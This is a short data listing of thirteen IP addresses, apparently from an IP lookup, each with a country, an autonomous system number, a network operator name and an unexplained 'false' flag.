108.29.72.164
 unknown United States
701 UUNETUS false
25.237.229.194
 unknown United Kingdom
7922 COMCAST-7922US false
64.229.121.213
 unknown Canada
577 BACOMCA false
160.158.121.183
 unknown Tunisia
37492 ORANGE-TN false
134.153.11.34
 unknown Canada
6579 MEMORIALUCA false
146.19.233.44
 unknown France
7726 FITC-ASUS false
55.235.34.5
 unknown United States
306 DNIC-ASBLK-00306-00371US false
7.220.220.71
 unknown United States
3356 LEVEL3US false
85.83.24.235
 unknown Denmark
9158 TELENOR_DANMARK_ASDK false
8.196.6.112
 unknown United States
3356 LEVEL3US false
46.116.32.113
 unknown Israel
1680 NV-ASNCELLCOMltdIL false
46.207.24.140
 unknown Austria
8447 TELEKOM-ATA1TelekomAustriaAGAT false
185.26.204.203
 unknown Russian Federation
16094 MAGTELECOM-ASRU false